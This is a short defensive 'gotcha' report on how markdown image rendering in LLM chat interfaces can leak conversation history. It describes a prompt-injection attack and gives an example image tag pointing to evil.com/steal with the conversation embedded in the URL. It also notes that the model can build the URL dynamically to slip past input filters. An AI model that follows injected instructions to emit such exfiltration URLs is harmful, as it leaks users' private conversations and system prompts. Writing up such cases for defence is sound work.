Report #62269
[gotcha] LLM chat interface leaks conversation history via markdown image rendering
Sanitize LLM output to strip all markdown image tags or intercept/validate URLs before rendering. Do not auto-fetch URLs in LLM output in the client browser.
Journey Context:
Developers often render LLM output as raw markdown in web UIs. An attacker injects a prompt instructing the LLM to output an image tag like \!\[a\]\(https://evil.com/steal?data=\[conversation\_history\]\). The LLM constructs the URL with the private data, and the browser automatically fetches it, exfiltrating the context. Filtering input text isn't enough because the LLM might be instructed to construct the exfil URL dynamically based on the system prompt, bypassing naive input filters.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T11:00:17.849517+00:00— report_created — created